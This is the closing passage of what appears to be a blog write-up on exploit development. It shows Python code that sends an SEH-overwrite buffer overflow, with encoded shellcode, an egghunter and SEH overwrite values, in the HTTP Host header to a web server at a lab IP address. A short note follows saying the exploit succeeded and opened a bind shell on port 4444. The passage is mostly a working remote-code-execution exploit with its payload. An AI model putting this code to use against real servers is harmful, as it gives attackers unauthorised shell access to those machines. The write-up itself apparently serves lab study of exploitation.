"\xca\x35\xe3\x81\xcf\x9e\x60\x31\x34\x1e\xa4\xa7\xbf\x2c" +
"\x01\xac\x98\x30\x94\x61\x93\x4d\x1d\x84\x74\xc4\x65\xa2" +
"\x50\x8c\x3e\xcb\xc1\x68\x90\xf4\x12\xd4\x4d\x50\x58\xf7" +
"\x9a\xe2\x03\x90\x6f\xd8\xbb\x60\xf8\x6b\xcf\x52\xa7\xc7" +
"\x47\xdf\x20\xc1\x90\x20\x1b\xb5\x0f\xdf\xa4\xc5\x06\x24" +
"\xf0\x95\x30\x8d\x79\x7e\xc1\x32\xac\xd0\x91\x9c\x1f\x90" +
"\x41\x5d\xf0\x78\x88\x52\x2f\x98\xb3\xb8\x58\x69\x97\x10" +
"\x0f\x8b\x27\x86\x93\x02\xc1\xc2\x3b\x42\x59\x7b\xfe\xb1" +
"\x52\x1c\x01\x90\xce\xb5\x95\xad\x18\x01\x99\x2e\x0f\x21" +
"\x36\x87\xd8\xb2\x54\x1c\xf8\xc4\x70\x35\x6d\x52\x0e\xd7" +
"\xdc\xc2\x0f\xf2\xb5\x04\x9a\xf8\x1f\x52\x32\x02\x79\x94" +
"\x9d\xfd\xac\xae\x14\x6b\x0f\xd9\x58\x7b\x8f\x19\x0f\x11" +
"\x8f\x71\xf7\x41\xdc\x64\xf8\x5c\x70\x35\x6d\x5e\x21\xe9" +
"\x26\x36\xcf\xd4\x01\x99\x30\x33\x90\xe6\xe6\x7a\x16\x1e" +
"\x8d\x6e\xda")
 
buffer = "\x41"*(1491-len(shellcode)) + shellcode
buffer += "\xcc"*30 + egghunter
buffer += nseh
buffer += seh
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.3.222", 80))
 
payload = "GET / " + "HTTP/1.1\r\n"
payload += "Host: " + buffer
payload += "\r\n\r\n"
 
s.send(payload)
s.close()

The final execution of the vulnerability, resulting in a bind shell being started listening on port 4444 on the target machine.

And we can see that the exploit executed successfully and the target machine started listening for incoming connections on port 4444.


© 2021. All rights reserved.

Powered by Hydejack v9.1.6